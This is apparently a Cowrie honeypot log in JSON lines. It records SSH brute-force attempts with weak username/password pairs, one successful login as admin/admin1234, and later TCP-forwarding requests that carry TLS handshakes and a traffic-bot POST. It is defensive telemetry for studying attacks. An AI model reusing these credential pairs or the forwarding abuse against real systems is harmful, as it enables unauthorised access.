0+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3\\xbf*\\xb8)`n@\\x9ao\\xf9\\xde\\xb7W\\x0b\\xfa1>$/\\xee\\x96\\xa4\\xdf\\\\\\xcf\\xe3m\\x18\\xa4\\xba*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\x9c\\xdc\\xc4k\\x94T-\\x93\\xb4\\xf1\\xc6\\xfd?\\x05\\x94Pn\\x8a\\x87m>\\x81\\x8c\\xe3G\\xcd\\xfe\\xc2\\xc2{\\xbb \\x12\\xe9\\xf3RR4+\\x13^\\x0e\\x99\\xc6\\xfb\\xca\\xa7\\xae\\xddb-\\x81\\xf9\\x81\\x81\\xa6l\\xd3\\xe6\\xa6\\xcd\\xdd\\x84\\xbe\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3\\xbf*\\xb8)`n@\\x9ao\\xf9\\xde\\xb7W\\x0b\\xfa1>$/\\xee\\x96\\xa4\\xdf\\\\\\xcf\\xe3m\\x18\\xa4\\xba*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:56.410298Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:56.734007Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":46895,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ee78e98c64","protocol":"ssh","message":"New connection: 41.90.100.147:46895 (159.203.135.109:22) [session: d3ee78e98c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:59.631051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:59.634852Z","src_ip":"41.90.100.147","session":"d3ee78e98c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:59.851715Z","src_ip":"41.90.100.147","session":"d3ee78e98c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"start123","message":"login attempt [root/start123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:00.758073Z","src_ip":"41.90.100.147","session":"d3ee78e98c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19408,"dst_ip":"159.203.135.109","dst_port":22,"session":"f142fdb4d1a4","protocol":"ssh","message":"New connection: 91.92.40.36:19408 (159.203.135.109:22) [session: f142fdb4d1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:00.811654Z"}
{"eventid":"cowrie.session.closed","duration":54.188297510147095,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:01.506292Z","src_ip":"128.199.8.54","session":"121e729d9485","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sqb20","password":"A1kyQpBeC24=","message":"login attempt [sqb20/A1kyQpBeC24=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:01.690870Z","src_ip":"91.92.40.36","session":"67300520f973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:01.987306Z","src_ip":"41.90.100.147","session":"d3ee78e98c64","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:02.780799Z","src_ip":"91.92.40.36","session":"f142fdb4d1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:02.783975Z","src_ip":"91.92.40.36","session":"f142fdb4d1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:04.237741Z","src_ip":"91.92.40.36","session":"67300520f973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"210500144115","protocol":"ssh","message":"New connection: 91.92.40.36:38236 (159.203.135.109:22) [session: 210500144115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:06.973331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:09.030979Z","src_ip":"91.92.40.36","session":"210500144115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:09.036595Z","src_ip":"91.92.40.36","session":"210500144115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nancy","password":"nancy123","message":"login attempt [nancy/nancy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:10.910014Z","src_ip":"91.92.40.36","session":"f142fdb4d1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:14.074381Z","src_ip":"91.92.40.36","session":"f142fdb4d1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61516,"dst_ip":"10.17.0.5","dst_port":22,"session":"745c073658be","protocol":"ssh","message":"New connection: 123.27.168.40:61516 (10.17.0.5:22) [session: 745c073658be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:16.056571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:16.061401Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:16.291144Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nitrox","message":"login attempt [admin/nitrox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:16.617095Z","src_ip":"91.92.40.36","session":"210500144115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44658,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0db081fee04","protocol":"ssh","message":"New connection: 91.92.40.36:44658 (159.203.135.109:22) [session: c0db081fee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:16.890136Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:17.361320Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:17.749015Z","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:17.856530Z","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:17.978753Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/10.3.2 EdgiOS/90.0.818.46 Mobile/14F89 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MnpBPER1cEFtfjhXJmFsaw%3D%3D84NFqySlINCZJeKQRq34bwsJ1MsCf83nPqvm1tm3ltJpbEJMQxau8taDAh9ZOxokdckMjghtLZ%2Bd9Dp%2Fu36qH6uRcJU30ydW9jgvZiYXW7oHdLK33ed1oSvzBroqOaXZnMpVCf4WI%2Ba%2BbdKTBB%2FbunefvvHbR3I9YoPi9e4NiYjFrKZ5iPQGpyFCRFZSlxV0iqeWq7nNbGRAil5Fm2n%2BwcYz83z2MGy6MLY55gCSYLgUd34YFEonkJ5DixZhbW4fmnaMoYb2V%2B%2FSr3epSiwl8dy1Ryx%2BEzcM7371ymuoIALCeq4Pk6C32cRZoz6%2FFKqSX3IEFQvHODavhxBof6BbWaCONa7L5H2TVfEdOGKPOQT6aWVe3AEDNactkYCQKqkf0KQPFUd%2FlbLOo7RUGNQ87YijwIbI12At9Q0Jg2jgleUMcOOFqZRb6%2BTB%2F0FdeCQQDdttGt7Y%2BvqxawYvQN%2F%2FO%2FCCQVN3q9UXlw2h%2FC7QXXhxWHQQgl8L0LszfQ3enPboGe2DOlDju%2B5b7iO8qJznzkh1vA27CpXtdPdunV7j6pkBnHaJ3Ede2QcXw%2F6pGN91OeMO7zKtLRcFIQSvZD7QMPEiRER69sgWHI4dkobyP6E0pckJLPIrCKu97dBKA0VDFuoKnfb01uuJTVq7VKYsfqttNE%2FAeLK2p%2B5rSxHP1u0Z0eCy3v3B4fDIc%2By1I%2BZBuOMb9RIubkXfsoFo6HR8fPunS%2BgBRvscjgBfASI%2BqFKPWLGzjcH2hfUcfZp67MYopmCE4pFlpzwxNhzWIdmOhrz%2F%2BqKB36Dd6yes4t7zmBLeS4iq6OrP43djx5wJ3G8YFai1OCyRoL%2FsJqgiSakDUWOOho0CZY3GU0RsvJz0bjbVHYDWDeHvhUfAzE4GdT4jLd1gHkGxQKoWRxoI%2BX%2F%2Fzz2AaqXTMEXuAWS749utRtFwUhQHbsQW95INXN10bcd5XYQnHB14X1JRNr6Xhr%2Fq3EinA9c72S%2B2CJzzmrLnFNcytjqrKurm%2BmSb0n%2FZz2gv8YD9e6DDnPDcs0DiVyp3OqmSxAZtRKCfvLtVrwOmfJ8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/10.3.2 EdgiOS/90.0.818.46 Mobile/14F89 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MnpBPER1cEFtfjhXJmFsaw%3D%3D84NFqySlINCZJeKQRq34bwsJ1MsCf83nPqvm1tm3ltJpbEJMQxau8taDAh9ZOxokdckMjghtLZ%2Bd9Dp%2Fu36qH6uRcJU30ydW9jgvZiYXW7oHdLK33ed1oSvzBroqOaXZnMpVCf4WI%2Ba%2BbdKTBB%2FbunefvvHbR3I9YoPi9e4NiYjFrKZ5iPQGpyFCRFZSlxV0iqeWq7nNbGRAil5Fm2n%2BwcYz83z2MGy6MLY55gCSYLgUd34YFEonkJ5DixZhbW4fmnaMoYb2V%2B%2FSr3epSiwl8dy1Ryx%2BEzcM7371ymuoIALCeq4Pk6C32cRZoz6%2FFKqSX3IEFQvHODavhxBof6BbWaCONa7L5H2TVfEdOGKPOQT6aWVe3AEDNactkYCQKqkf0KQPFUd%2FlbLOo7RUGNQ87YijwIbI12At9Q0Jg2jgleUMcOOFqZRb6%2BTB%2F0FdeCQQDdttGt7Y%2BvqxawYvQN%2F%2FO%2FCCQVN3q9UXlw2h%2FC7QXXhxWHQQgl8L0LszfQ3enPboGe2DOlDju%2B5b7iO8qJznzkh1vA27CpXtdPdunV7j6pkBnHaJ3Ede2QcXw%2F6pGN91OeMO7zKtLRcFIQSvZD7QMPEiRER69sgWHI4dkobyP6E0pckJLPIrCKu97dBKA0VDFuoKnfb01uuJTVq7VKYsfqttNE%2FAeLK2p%2B5rSxHP1u0Z0eCy3v3B4fDIc%2By1I%2BZBuOMb9RIubkXfsoFo6HR8fPunS%2BgBRvscjgBfASI%2BqFKPWLGzjcH2hfUcfZp67MYopmCE4pFlpzwxNhzWIdmOhrz%2F%2BqKB36Dd6yes4t7zmBLeS4iq6OrP43djx5wJ3G8YFai1OCyRoL%2FsJqgiSakDUWOOho0CZY3GU0RsvJz0bjbVHYDWDeHvhUfAzE4GdT4jLd1gHkGxQKoWRxoI%2BX%2F%2Fzz2AaqXTMEXuAWS749utRtFwUhQHbsQW95INXN10bcd5XYQnHB14X1JRNr6Xhr%2Fq3EinA9c72S%2B2CJzzmrLnFNcytjqrKurm%2BmSb0n%2FZz2gv8YD9e6DDnPDcs0DiVyp3OqmSxAZtRKCfvLtVrwOmfJ8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:17.988122Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:18.200709Z","src_ip":"123.27.168.40","session":"745c073658be","protocol":"ssh"}
